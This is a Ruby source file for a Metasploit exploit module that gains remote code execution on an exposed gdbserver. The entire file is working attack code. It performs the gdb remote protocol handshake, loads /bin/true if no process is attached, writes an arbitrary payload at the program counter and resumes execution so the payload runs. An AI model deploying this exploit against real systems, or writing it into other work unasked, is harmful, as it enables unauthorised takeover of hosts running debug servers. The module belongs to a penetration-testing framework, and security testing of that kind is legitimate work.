##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Gdb

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'GDB Server Remote Payload Execution',
      'Description'   => %q{
          This module attempts to execute an arbitrary payload on a loose gdbserver service.
      },
      'Author'        => [ 'joev' ],
      'Targets'       => [
        [ 'x86 (32-bit)',    { 'Arch' => ARCH_X86 } ],
        [ 'x86_64 (64-bit)', { 'Arch' => ARCH_X64 } ]
      ],
      'References'     =>
        [
          ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3691']
        ],
      'DisclosureDate' => 'Aug 24 2014',
      'Platform'      => %w(linux unix osx),
      'DefaultTarget' => 0,
      'DefaultOptions' => {
        'PrependFork' => true
      }
    ))

    register_options([
      OptString.new('EXE_FILE', [
        false,
        "The exe to spawn when gdbserver is not attached to a process.",
        '/bin/true'
      ])
    ])
  end

  def exploit
    connect

    print_status "Performing handshake with gdbserver..."
    handshake

    enable_extended_mode

    begin
      print_status "Stepping program to find PC..."
      gdb_data = process_info
    rescue BadAckError, BadResponseError
      # gdbserver is running with the --multi flag and is not currently
      # attached to any process. let's attach to /bin/true or something.
      print_status "No process loaded, attempting to load /bin/true..."
      run(datastore['EXE_FILE'])
      gdb_data = process_info
    end

    gdb_pc, gdb_arch = gdb_data.values_at(:pc, :arch)

    unless payload.arch.include? gdb_arch
      fail_with(Failure::BadConfig, "The payload architecture is incorrect: the payload is #{payload.arch.first}, but #{gdb_arch} was detected from gdb.")
    end

    print_status "Writing payload at #{gdb_pc}..."
    write(payload.encoded, gdb_pc)

    print_status "Executing the payload..."
    continue

    handler
    disconnect
  end
end
